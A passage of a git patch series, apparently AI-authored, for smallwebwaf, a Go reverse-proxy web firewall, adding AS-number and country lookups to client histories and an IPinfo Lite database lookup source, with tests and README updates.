runs the checks on the request's client, and returns the // action of the first that refuses the request, or "" when none does. A -// client in SWWAF_ALLOW_NETS skips them. For any other client, -// SWWAF_DENY_NETS comes first, then a ban on its netblock, so that a -// client either refuses is not looked up, and then the country lists; a -// request any of them refuses is not counted for the rate limits. Then -// come the rate limits, unless the client is in -// SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is exempt under -// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted, -// and last the rule files. ctx is the request's own context. +// client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any +// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, +// so that a client either refuses is not looked up, then the lookup of +// its AS number and country, and then the country lists; a request any of +// them refuses is not counted for the rate limits. Then come the rate +// limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the +// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that +// every other request is counted, and last the rule files. ctx is the +// request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -216,7 +220,9 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionBanned } - if rq.countryDenied(ctx) { + rq.lookUp(ctx) + + if rq.countryDenied() { return requestlog.ActionCountryDenied } @@ -287,7 +293,9 @@ func (rq *request) forward(ctx context.Context) { // rewrite makes the request the app receives: the client's request, // unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers and -// the request's id set. +// the request's id set, without any X-Client-ASN or X-Client-Country the +// client sent, whatever SWWAF_ADD_LOOKUP_HEADERS says, and, while it is +// set, with the client's AS number and country in them. func (rq *request) rewrite(pr *httputil.ProxyRequest) { upstream := rq.h.config.UpstreamURL pr.Out.URL.Scheme = upstream.Scheme @@ -297,6 +305,12 @@ func (rq *request) rewrite(pr *httputil.ProxyRequest) { pr.Out.URL.RawQuery = pr.In.URL.RawQuery setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted) pr.Out.Header.Set(requestIDHeader, rq.line.RequestID) + pr.Out.Header.Del(asnHeader) + pr.Out.Header.Del(countryHeader) + + if rq.h.config.AddLookupHeaders { + setLookupHeaders(pr.Out.Header, rq.line.ASN, rq.line.Country) + } } // modifyResponse looks at the app's answer before ReverseProxy passes it @@ -474,7 +488,10 @@ func timing(start, end time.Time) *float64 { } // addToHistory adds the request, which has ended, to its client's -// history. +// history, and then, for a client that was looked up, the answer kept +// about it to that history and to the notes of the bans on its netblock: +// an answer that came during the request may have come before either was +// there, and one that comes later is added when it comes. func (rq *request) addToHistory() { var requestBytes int64 if rq.body != nil { @@ -482,9 +499,9 @@ func (rq *request) addToHistory() { } forwarded := !rq.upstreamStart.IsZero() + group := clientGroup(rq.client) - rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{ - Country: rq.line.Country, + rq.h.limiter.AddToHistory(group, rq.h.now(), ratelimit.Request{ Forwarded: forwarded, Refused: !forwarded && rq.refused.Load() != nil, Status: rq.out.status, @@ -492,6 +509,15 @@ func (rq *request) addToHistory() { ResponseBytes: rq.out.bytes, BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, }) + + if !rq.lookedUp { + return + } + + answer, kept := rq.h.geojs.Kept(group) + if kept { + rq.h.addLookup(answer) + } } // clientRequestDeadline is when the client must have sent its whole diff --git a/internal/ratelimit/history_test.go b/internal/ratelimit/history_test.go index 55ff667..b3af169 100644 --- a/internal/ratelimit/history_test.go +++ b/internal/ratelimit/history_test.go @@ -16,10 +16,10 @@ func TestHistoryKeepsEveryRequest(t *testing.T) { start := midnight() for i, r := range []ratelimit.Request{ - {Country: "DE", Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100}, + {Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100}, {Forwarded: true, Status: 101}, {Forwarded: true, Status: 304, RequestBytes: 5}, - {Country: "FR", Refused: true, Status: 403, ResponseBytes: 10, BrokeLimit: true}, + {Refused: true, Status: 403, ResponseBytes: 10, BrokeLimit: true}, {Forwarded: true, Status: 502, ResponseBytes: 12}, // Closed without an answer: refused, and no response. {Refused: true, Status: 0}, @@ -33,8 +33,6 @@ func TestHistoryKeepsEveryRequest(t *testing.T) { want := ratelimit.History{ FirstSeen: start, LastSeen: start.Add(6 * time.Minute), - Country: "FR", - LookedUp: start.Add(3 * time.Minute), Requests: 7, Forwarded: 4, Refused: 2, @@ -52,6 +50,43 @@ func TestHistoryKeepsEveryRequest(t *testing.T) { } } +func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{}) + client := netip.MustParsePrefix("203.0.113.9/32") + other := netip.MustParsePrefix("198.51.100.7/32") + start := midnight() + + limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) + limiter.AddLookup(client, start, "AS64496", "Example Net", "DE") + + // A later answer replaces it, and one for a client the table does not + // hold adds no client. + limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR") + limiter.AddLookup(other, start, "AS64496", "Example Net", "DE") + + want := ratelimit.History{ + FirstSeen: start, + LastSeen: start, + ASN: "AS64497", + ASName: "Other Net", + Country: "FR", + LookedUp: start.Add(time.Hour), + Requests: 1, + Forwarded: 1, + } + + got := historyOf(t, limiter, client) + if got != want { + t.Errorf("history\n%+v\nwant\n%+v", got, want) + } + + if clients := limiter.Snapshot(); len(clients) != 1 { + t.Errorf("the table holds %+v, want %s alone", clients, client) + } +} + func TestResetKeepsTheHistory(t *testing.T) { t.Parallel() diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index ba3ac99..5717b51 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -66,8 +66,12 @@ type Buckets struct { type History struct { FirstSeen time.Time `json:"first_seen"` LastSeen time.Time `json:"last_seen"` - // Country is the client's country as it was last looked up, and - // LookedUp when that was; both are empty while it never was. + // ASN, ASName and Country are the client's AS number, AS name and + // country as last looked up, each empty when the lookup could not + // find it, and LookedUp is when GeoJS gave that answer; all are empty + // while the client never was looked up. + ASN string `json:"asn,omitempty"` + ASName string `json:"as_name,omitempty"` Country string `json:"country,omitempty"` LookedUp time.Time `json:"looked_up,omitzero"` // Requests are all the client's requests: Forwarded those passed to @@ -103,8 +107,6 @@ type Offences struct { // Request is what a client's history keeps of one of its requests. type Request struct { - // Country is the client's country, when the request looked it up. - Country string // Forwarded is true for a request passed to the app, Refused for one // refused before anything reached it, a 401 at smallwebwaf's own // endpoints included. Both are false for any other request smallwebwaf @@ -209,11 +211,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { h.LastSeen = now - if r.Country != "" { - h.Country = r.Country - h.LookedUp = now - } - h.Requests++ if r.Forwarded { h.Forwarded++ @@ -232,6 +229,24 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { } } +// AddLookup gives client's history its AS number, AS name and country, as +// GeoJS gave them at lookedUp, if the table of clients holds the client. +// It does not make the client the most recently seen. +func (l *Limiter) AddLookup( + client netip.Prefix, lookedUp time.Time, asn, asName, country string, +) { + l.mu.Lock() + defer l.mu.Unlock() + + c, held := l.clients.Peek(client) + if !held { + return + } + + h := &c.History + h.ASN, h.ASName, h.Country, h.LookedUp = asn, asName, country, lookedUp +} + // Requests returns how many requests the clients inside netblock have // sent, as their histories count them. func (l *Limiter) Requests(netblock netip.Prefix) int64 { diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index d18ffb2..6225910 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -80,11 +80,14 @@ type Line struct { // Request detail. RequestID is the X-Request-ID a trusted proxy sent, // or a new one, and is sent on to the app. ForwardedFor is the // X-Forwarded-For header as received. ClientGroup is the netblock the - // client is counted as. + // client is counted as. ASN, ASName and Country are the client's AS + // number, AS name and country, as looked up. RequestID string `json:"request_id"` PeerIP string `json:"peer_ip"` ForwardedFor string `json:"forwarded_for,omitempty"` ClientGroup string `json:"client_group"` + ASN string `json:"asn"` + ASName string `json:"as_name"` Country string `json:"country"` ContentType string `json:"content_type,omitempty"` // ContentLength is the length of its body the request announced. diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index bcc097b..6222476 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -104,12 +104,16 @@ func (o *output) text() string { } // run runs smallwebwaf with the settings in env until ctx is done, and -// returns its exit status. +// returns its exit status. SWWAF_LOOKUP_SOURCE is off unless env sets it, +// so that no test sends GeoJS its clients' addresses. func run(ctx context.Context, env map[string]string, out *output) int { return smallwebwaf.Run(ctx, smallwebwaf.Params{ Version: testVersion, LookupEnv: func(name string) (string, bool) { value, ok := env[name] + if !ok && name == "SWWAF_LOOKUP_SOURCE" { + return "off", true + } return value, ok }, diff --git a/internal/state/state_test.go b/internal/state/state_test.go index a280ec6..f2ffad8 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -35,6 +35,9 @@ const ( clientsJSON = "clients.json" lookupsJSON = "lookups.json" alertsJSON = "alerts.json" + // The AS number and AS name the tests' clients are looked up in. + asn = "AS64496" + asName = "Example Net" // What the process log says once Watch watches the directory, and as // it takes in an edit. watching = "watching the state files for edits" @@ -55,6 +58,8 @@ const permanentBansJSON = `{ "cause": "admin", "reason": "scrapes every commit", "notes": { + "asn": "AS64496", + "as_name": "Example Net", "country": "DE", "limit": 1000, "window": "minute", @@ -1302,7 +1307,9 @@ func fill(params state.Params) { client := netip.MustParsePrefix("203.0.113.9/32") params.Ledger.Load([]bans.Ban{permanentBan()}) - params.Ledger.BanForLimit(client, now, bans.Notes{Country: "DE", Limit: 1}) + params.Ledger.BanForLimit(client, now, bans.Notes{ + ASN: asn, ASName: asName, Country: "DE", Limit: 1, + }) params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now, bans.Notes{RuleID: "env-file", Target: "path"}) @@ -1311,11 +1318,15 @@ func fill(params state.Params) { } params.Limiter.AddToHistory(client, now, ratelimit.Request{ - Country: "DE", Forwarded: true, Status: 200, RequestBytes: 3, ResponseBytes: 5, + Forwarded: true, Status: 200, RequestBytes: 3, ResponseBytes: 5, }) + params.Limiter.AddLookup(client, now.Add(-time.Hour), asn, asName, "DE") params.GeoJS.Load([]lookup.Answer{ - {Client: client, Country: "DE", Answered: now.Add(-time.Hour), Used: now}, + { + Client: client, ASN: asn, ASName: asName, Country: "DE", + Answered: now.Add(-time.Hour), Used: now, + }, { Client: netip.MustParsePrefix("192.0.2.1/32"), Answered: now.Add(-time.Hour), Used: now.Add(-time.Minute), @@ -1350,6 +1361,8 @@ func permanentBan() bans.Ban { Cause: bans.CauseAdmin, Reason: "scrapes every commit", Notes: bans.Notes{ + ASN: asn, + ASName: asName, Country: "DE", Limit: 1000, Window: "minute", diff --git a/script/example-app b/script/example-app index f2249a8..52bd4c6 100755 --- a/script/example-app +++ b/script/example-app @@ -7,9 +7,10 @@ # request bans for good, that `sv stop` stops smallwebwaf in order, that # `docker stop` stops the container without having to kill it, and that # a new container on the same volume still refuses the banned client. The -# containers, the volume and both images are removed however the script -# ends. Building the app needs network access, for nixpkgs' binary cache. -# script/check does not run this. +# containers run with SWWAF_LOOKUP_SOURCE=off, so that no address is sent +# to GeoJS. The containers, the volume and both images are removed however +# the script ends. Building the app needs network access, for nixpkgs' +# binary cache. script/check does not run this. set -eu SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" @@ -63,12 +64,13 @@ logged() { } # start_container: run the app's container, with the state files on the -# volume and a rate limit of one request a minute, and wait until it is -# healthy. +# volume, a rate limit of one request a minute and no client looked up, +# and wait until it is healthy. start_container() { docker run --detach --name "$CONTAINER" --publish 127.0.0.1::8080 \ --volume "$VOLUME:/var/lib/smallwebwaf" \ --env SWWAF_RATE_LIMIT_PER_MINUTE=1 \ + --env SWWAF_LOOKUP_SOURCE=off \ "$APP_IMAGE" >/dev/null wait_for "the health check did not pass" healthy address="$(docker port "$CONTAINER" 8080/tcp)" From c80753c56e75e54e8458474fa89515ed8c6716e2 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 10:04:10 +0200 Subject: [PATCH 35/64] Look clients up in the IPinfo Lite file with SWWAF_LOOKUP_SOURCE=file (closes #22) SWWAF_LOOKUP_SOURCE=file looks every client up in the file SWWAF_LOOKUP_DB_PATH names, without GeoJS. file without the path, the path with another source, or a file that cannot be read stops the start. The file is read whole into memory, so overwriting it in place cannot disturb a lookup, and read again 2 seconds after its last change; a replacement that cannot be read is logged, counted and sent as a file_error alert, and the old one stays in use. Metrics give when it was read and the failed reads. Tests write their databases through internal/lookup/lookuptest. Deviation: go.mod and go.sum written by hand; go runs only through make. Judgement call: the 2-second wait, as the rule files have. Model: opus-5-5 --- .golangci.yml | 4 + README.md | 176 ++++++----- go.mod | 5 +- go.sum | 22 +- internal/alerts/alerts.go | 3 +- internal/bans/bans.go | 8 +- internal/config/config.go | 42 ++- internal/config/config_test.go | 53 +++- internal/lookup/file.go | 233 ++++++++++++++ internal/lookup/file_internal_test.go | 379 +++++++++++++++++++++++ internal/lookup/lookup.go | 18 +- internal/lookup/lookuptest/lookuptest.go | 83 +++++ internal/metrics/metrics.go | 22 ++ internal/proxy/lookup.go | 30 +- internal/proxy/lookup_test.go | 60 ++++ internal/proxy/proxy.go | 34 +- internal/proxy/proxy_test.go | 17 +- internal/proxy/request.go | 25 +- internal/ratelimit/ratelimit.go | 7 +- internal/smallwebwaf/smallwebwaf.go | 88 ++++-- internal/smallwebwaf/smallwebwaf_test.go | 150 +++++++++ 21 files changed, 1291 insertions(+), 168 deletions(-) create mode 100644 internal/lookup/file.go create mode 100644 internal/lookup/file_internal_test.go create mode 100644 internal/lookup/lookuptest/lookuptest.go diff --git a/.golangci.yml b/.golangci.yml index 1b73eb9..61a5742 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -61,6 +61,10 @@ linters: desc: >- Test-support code belongs in test files and in packages whose directory name ends in test, not in the shipped binary. + - pkg: sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest + desc: >- + Test-support code belongs in test files and in packages whose + directory name ends in test, not in the shipped binary. # Only decisions already recorded in the Go package defaults are # listed here. Every entry matches the module path exactly. gomodguard_v2: diff --git a/README.md b/README.md index 07e1a62..318eba6 100644 --- a/README.md +++ b/README.md @@ -23,27 +23,28 @@ and the idle time as settings, which come last in it. So are the four parts of the stage after it: the rule files, with the bans for a clear sign of attack, the other admin endpoints, alerts to all three destinations, a JSON webhook, Slack and ntfy, and remote log sending. So is the first part of the stage after -that: the AS number and country of every client, looked up through GeoJS. -`smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -looks up its AS number and country unless you switch that off, bans a client -that sends too many requests, not counting those for the paths you choose, -refuses a client that comes from a country you refuse or from a network you -refuse, lets the networks you choose through, checks each request against the -rule files and bans a client whose request is a clear sign of attack, keeps its -bans, each client's counters and history, and GeoJS's answers in JSON files -across restarts, takes in your edits of those files, such as a ban you make, -keep or lift, and of the rule files while it runs, writes a JSON log line for -every request, sends its log lines to a syslog server too if you name one, sends -an alert to a webhook, to Slack and to ntfy, each if you name one, for each ban -it makes or makes permanent, for GeoJS failing and for a rule file or state file -with an error, serves Prometheus metrics to a scraper that holds the metrics -token, lets an admin who holds the admin token list, add and lift bans and ask -what it knows of a client, and in `observe` mode passes on the requests it would -refuse, logging what it would have done with them. It comes as the image the -app's own image is built on. The rest of the design comes after that, in the -order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools -that led to the design is in [`EVALUATION.md`](EVALUATION.md). +that: the AS number and country of every client, looked up through GeoJS or in +the IPinfo Lite database file. `smallwebwaf` passes each request to the app and +the app's answer back, unchanged, within its timeouts and size limits, works out +each client's address, looks up its AS number and country unless you switch that +off, bans a client that sends too many requests, not counting those for the +paths you choose, refuses a client that comes from a country you refuse or from +a network you refuse, lets the networks you choose through, checks each request +against the rule files and bans a client whose request is a clear sign of +attack, keeps its bans, each client's counters and history, and GeoJS's answers +in JSON files across restarts, takes in your edits of those files, such as a ban +you make, keep or lift, and of the rule files while it runs, writes a JSON log +line for every request, sends its log lines to a syslog server too if you name +one, sends an alert to a webhook, to Slack and to ntfy, each if you name one, +for each ban it makes or makes permanent, for GeoJS failing, for a rule file or +state file with an error and for a replacement of the lookup database it cannot +read, serves Prometheus metrics to a scraper that holds the metrics token, lets +an admin who holds the admin token list, add and lift bans and ask what it knows +of a client, and in `observe` mode passes on the requests it would refuse, +logging what it would have done with them. It comes as the image the app's own +image is built on. The rest of the design comes after that, in the order of the +build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to +the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -141,15 +142,16 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of back to zero, and does not make the netblock's next ban for a broken limit longer. Its notes give the id and the target of the rule that matched in place of the limit. -- Looks up the AS number and country of every client through GeoJS, after the +- Looks up the AS number and country of every client through GeoJS, or in the + IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and AS number lookup" below), for the request log, the client's history, the notes - of its bans, their alerts and the metrics. A request waits for its client's - first answer only while a setting acts on it, a country list or - `SWWAF_ADD_LOOKUP_HEADERS`. Otherwise it goes on at once, and the answer - reaches the client's history and the notes of its bans when it comes, but not - the log lines of the requests that went on without it, nor the alerts already - raised for those bans. + of its bans, their alerts and the metrics. The file answers at once. With + GeoJS, a request waits for its client's first answer only while a setting acts + on it, a country list or `SWWAF_ADD_LOOKUP_HEADERS`. Otherwise it goes on at + once, and the answer reaches the client's history and the notes of its bans + when it comes, but not the log lines of the requests that went on without it, + nor the alerts already raised for those bans. - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request is not counted for the rate limits. A client on a private, loopback or @@ -200,12 +202,12 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). - Sends an alert for each ban it makes or makes permanent, for GeoJS failing, - and for a rule file or state file with an error, holding back repeats and, - past an hourly limit, rolling the rest into one summary, to each destination - you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as - a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, - and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" - below). + for a rule file or state file with an error, and for a replacement of the + lookup database it cannot read, holding back repeats and, past an hourly + limit, rolling the rest into one summary, to each destination you name: as a + JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to + the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a + message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). ## Settings @@ -278,14 +280,18 @@ effective settings are logged at start. other. - `SWWAF_LOOKUP_SOURCE` (default `geojs`): where each client's AS number and country are looked up: `geojs`, the GeoJS web service, which is then told the - address of every new visitor, or `off`, which looks up no client and sends no - address to GeoJS. `file`, for the IPinfo Lite database, comes with - https://git.eeqj.de/sneak/smallwebwaf/issues/22. With `off`, a country list - that is not empty, or `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, stops the - start, with a message naming it and `SWWAF_LOOKUP_SOURCE`. + address of every new visitor, `file`, the IPinfo Lite database file + `SWWAF_LOOKUP_DB_PATH` names, or `off`, which looks up no client and sends no + address to GeoJS. With `off`, a country list that is not empty, or + `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, stops the start, with a message + naming it and `SWWAF_LOOKUP_SOURCE`. +- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its + `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. `file` without it, or it with + any other `SWWAF_LOOKUP_SOURCE`, the default included, stops the start, with a + message naming both. - `SWWAF_LOOKUP_TIMEOUT` (default `1s`): how long a request waits for its - client's first answer while a setting acts on it, and how long a request to - GeoJS may take before it is abandoned. + client's first answer from GeoJS while a setting acts on it, and how long a + request to GeoJS may take before it is abandoned. - `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` passes the app the client's AS number, such as `AS64496`, in `X-Client-ASN`, and its country in `X-Client-Country`, leaving out one that is unknown. A request then waits for @@ -475,13 +481,14 @@ which every line has. `client_group` is the client as the rate limits count it: its IPv4 address as a /32, or the /64 of its IPv6 address. - `asn`, `as_name` and `country` are the client's AS number, such as `AS64496`, - the name of that AS, and its country, as GeoJS gives them. Each is empty when - `SWWAF_LOOKUP_SOURCE` is `off`, for a client in `SWWAF_ALLOW_NETS` or - `SWWAF_DENY_NETS`, for a client on a private, loopback or link-local address, - when GeoJS has not answered by the time the request went on, and for a request - whose client a ban covers, even when the answer is known. `asn` and `as_name` - are empty too when GeoJS knows no AS number for the client, which it gives as - 64512, and `country` when GeoJS cannot place the client. + the name of that AS, and its country, as GeoJS or the lookup database gives + them. Each is empty when `SWWAF_LOOKUP_SOURCE` is `off`, for a client in + `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, for a client on a private, loopback + or link-local address, when GeoJS has not answered by the time the request + went on, for a client whose address the lookup database does not hold, and for + a request whose client a ban covers, even when the answer is known. `asn` and + `as_name` are empty too when GeoJS knows no AS number for the client, which it + gives as 64512, and `country` when GeoJS cannot place the client. - `content_type` is the request's `Content-Type`, and `content_length` the length the request announced for its body, which is left out for none or zero. - `request_headers` are the request's headers that `SWWAF_LOG_REQUEST_HEADERS` @@ -595,8 +602,9 @@ it, as below. An alert is for one of these events, and is sent when that a request made permanent. - `source_failure`: GeoJS failing or refusing `smallwebwaf`. - `file_error`: a rule file edited while it runs that has an error, an edit of a - state file set aside as `.bad`, or a state file it could not write while - running. + state file set aside as `.bad`, a state file it could not write while + running, or a replacement of the lookup database it could not read, which it + does not use. The bans you make, in `bans.json` or through the ban endpoints, raise no alert. In `observe` mode, a request that would have made a ban, or made one permanent, @@ -752,11 +760,11 @@ entries by client address, but for the alerts waiting, with times in UTC. when you lifted it, and is left out until you do. - `clients.json`: each client's two buckets in the minute, the hour and the day, and its history: when it was first and last seen, its AS number, AS name and - country as last looked up and when GeoJS gave them, its requests, how many - were forwarded and how many refused (one `smallwebwaf` answered at its own - endpoints is neither, unless it was refused with `401` for a missing or wrong - token), the body bytes in each direction, its responses by status class and - its offences by kind. Each client is on a line of its own, so `grep` shows + country as last looked up and when the lookup gave them, its requests, how + many were forwarded and how many refused (one `smallwebwaf` answered at its + own endpoints is neither, unless it was refused with `401` for a missing or + wrong token), the body bytes in each direction, its responses by status class + and its offences by kind. Each client is on a line of its own, so `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS number, AS name and country, when GeoJS gave it and when it was last used. @@ -977,6 +985,11 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets the requests that needed their client's answer, for a country list or `SWWAF_ADD_LOOKUP_HEADERS`, and went on without it because GeoJS had not given it in time. +- While `SWWAF_LOOKUP_SOURCE` is `file`, + `smallwebwaf_lookup_database_last_read_timestamp_seconds`: when the lookup + database in use was read; and + `smallwebwaf_lookup_database_read_failures_total`: the replacements of it that + could not be read. - `smallwebwaf_tracked_clients`: the clients in the table of clients. - `smallwebwaf_state_file_writes_total`, `smallwebwaf_state_file_write_failures_total`, @@ -1316,21 +1329,27 @@ without an answer. To keep your visitors' addresses on your own host, set `SWWAF_LOOKUP_SOURCE=off`, or use the database file instead of GeoJS: -`SWWAF_LOOKUP_SOURCE=file` reads the free IPinfo Lite database -(`ipinfo_lite.mmdb`), and comes with -https://git.eeqj.de/sneak/smallwebwaf/issues/22. You download the database with -your own IPinfo account, mount the directory that holds it into the container, -point `SWWAF_LOOKUP_DB_PATH` at the file and refresh it when you choose; -`smallwebwaf` never downloads it itself, and reads it again when you replace it. -It has to be the directory rather than the file itself: docker does not show a -single mounted file being replaced, so a refresh would go unseen. IPinfo -releases it under the Creative Commons Attribution-ShareAlike 4.0 International -License and asks for attribution, in its own words on https://ipinfo.io/lite: -"The attribution requirements can be met by giving our service credit as your -data source. Simply place a link to IPinfo on the website, application, or -social media account that uses our data." Its example of such a credit is a link -mentioning "IP address data is powered by IPinfo". A service that uses the -database through `smallwebwaf` should carry that link. +`SWWAF_LOOKUP_SOURCE=file` looks every client up in the free IPinfo Lite +database (`ipinfo_lite.mmdb`), at once, with no wait and nothing sent off the +host. A client whose address it does not hold counts as coming from an unknown +country. You download the database with your own IPinfo account, mount the +directory that holds it into the container, point `SWWAF_LOOKUP_DB_PATH` at the +file and refresh it when you choose; `smallwebwaf` never downloads it itself. It +reads the whole file into memory at start, and a file that is missing or that it +cannot read stops the start. It reads the file again once it has gone 2 seconds +without a change after you replace it, so that a file still being copied in is +read only once whole, and also 2 seconds after it starts watching, so that a +file replaced while it started is not missed. A replacement it cannot read is +logged and sent as a `file_error` alert, and the file read before stays in use. +It has to be the directory rather than the file itself that you mount: docker +does not show a single mounted file being replaced, so a refresh would go +unseen. IPinfo releases it under the Creative Commons Attribution-ShareAlike 4.0 +International License and asks for attribution, in its own words on +https://ipinfo.io/lite: "The attribution requirements can be met by giving our +service credit as your data source. Simply place a link to IPinfo on the +website, application, or social media account that uses our data." Its example +of such a credit is a link mentioning "IP address data is powered by IPinfo". A +service that uses the database through `smallwebwaf` should carry that link. Neither source can place a private address, so a client on one, such as a visitor on your local network, another container or your monitoring, has no @@ -1341,10 +1360,10 @@ addresses are never sent to GeoJS. ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. -- `internal/smallwebwaf`: the process: it reads the settings, the rule files and - the state files, listens, serves requests until `SIGTERM` or `SIGINT`, and - stops, writing the state files. Run as `smallwebwaf healthcheck`, it is the - image's health check instead. +- `internal/smallwebwaf`: the process: it reads the settings, the rule files, + the lookup database and the state files, listens, serves requests until + `SIGTERM` or `SIGINT`, and stops, writing the state files. Run as + `smallwebwaf healthcheck`, it is the image's health check instead. - `internal/config`: reads the settings, the one place they are read. - `internal/proxy`: what happens to each request: it works out the client, runs the checks, passes the request to the app and the answer back with the @@ -1366,7 +1385,9 @@ addresses are never sent to GeoJS. tells which of their rules a request matches. - `internal/lookup`: looks up each client's AS number and country through GeoJS, keeps the answers, and hands each new one to the proxy, which adds it to the - client's history and to the notes of its bans. + client's history and to the notes of its bans; or in the lookup database, + which it reads again when the file is replaced. `internal/lookup/lookuptest` + writes lookup databases for the tests. - `internal/ratelimit`: the table of clients: counts each client's requests, tells when one takes it over a rate limit, and keeps each client's history. - `internal/state`: reads the state files at start, takes in an admin's edit of @@ -1393,7 +1414,10 @@ recently seen, and the banned netblocks in the order they were last seen, from which the ledger picks the ban to drop past `SWWAF_MAX_BANS`, and `github.com/prometheus/client_golang` keeps the metrics and serves them, and `github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule -file is saved. The country codes are the list in `internal/config/config.go`. +file is saved, or the lookup database replaced, and +`github.com/oschwald/maxminddb-golang/v2` reads the lookup database, which the +tests write with `github.com/maxmind/mmdbwriter`. The country codes are the list +in `internal/config/config.go`. ## Entrypoints diff --git a/go.mod b/go.mod index caf899d..e070cbe 100644 --- a/go.mod +++ b/go.mod @@ -5,6 +5,8 @@ go 1.26.0 require ( github.com/fsnotify/fsnotify v1.10.1 github.com/hashicorp/golang-lru/v2 v2.0.7 + github.com/maxmind/mmdbwriter v1.2.0 + github.com/oschwald/maxminddb-golang/v2 v2.7.0 github.com/prometheus/client_golang v1.24.1 ) @@ -16,6 +18,7 @@ require ( github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect - golang.org/x/sys v0.47.0 // indirect + go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect + golang.org/x/sys v0.48.0 // indirect google.golang.org/protobuf v1.36.11 // indirect ) diff --git a/go.sum b/go.sum index 0e9f7bb..f43bc00 100644 --- a/go.sum +++ b/go.sum @@ -2,8 +2,6 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= @@ -14,10 +12,12 @@ github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJn github.com/klauspost/compress 